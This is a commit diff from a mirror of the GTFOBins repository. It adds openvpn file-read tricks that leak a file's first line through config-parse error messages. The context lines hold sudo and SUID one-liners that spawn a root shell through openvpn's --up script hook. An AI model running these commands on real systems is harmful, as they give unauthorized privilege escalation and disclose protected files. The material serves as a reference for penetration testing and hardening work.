mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
parent
ad35aaa5d8
commit
daf9b43e80
@ -1,10 +1,23 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
|
file-read:
|
||||||
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
openvpn --config "$LFILE"
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
|
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
|
||||||
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./openvpn --config "$LFILE"
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
COMMAND='id'
|
COMMAND='id'
|
||||||
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
|
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
|
||||||
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
||||||
|
code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo openvpn --config "$LFILE"
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user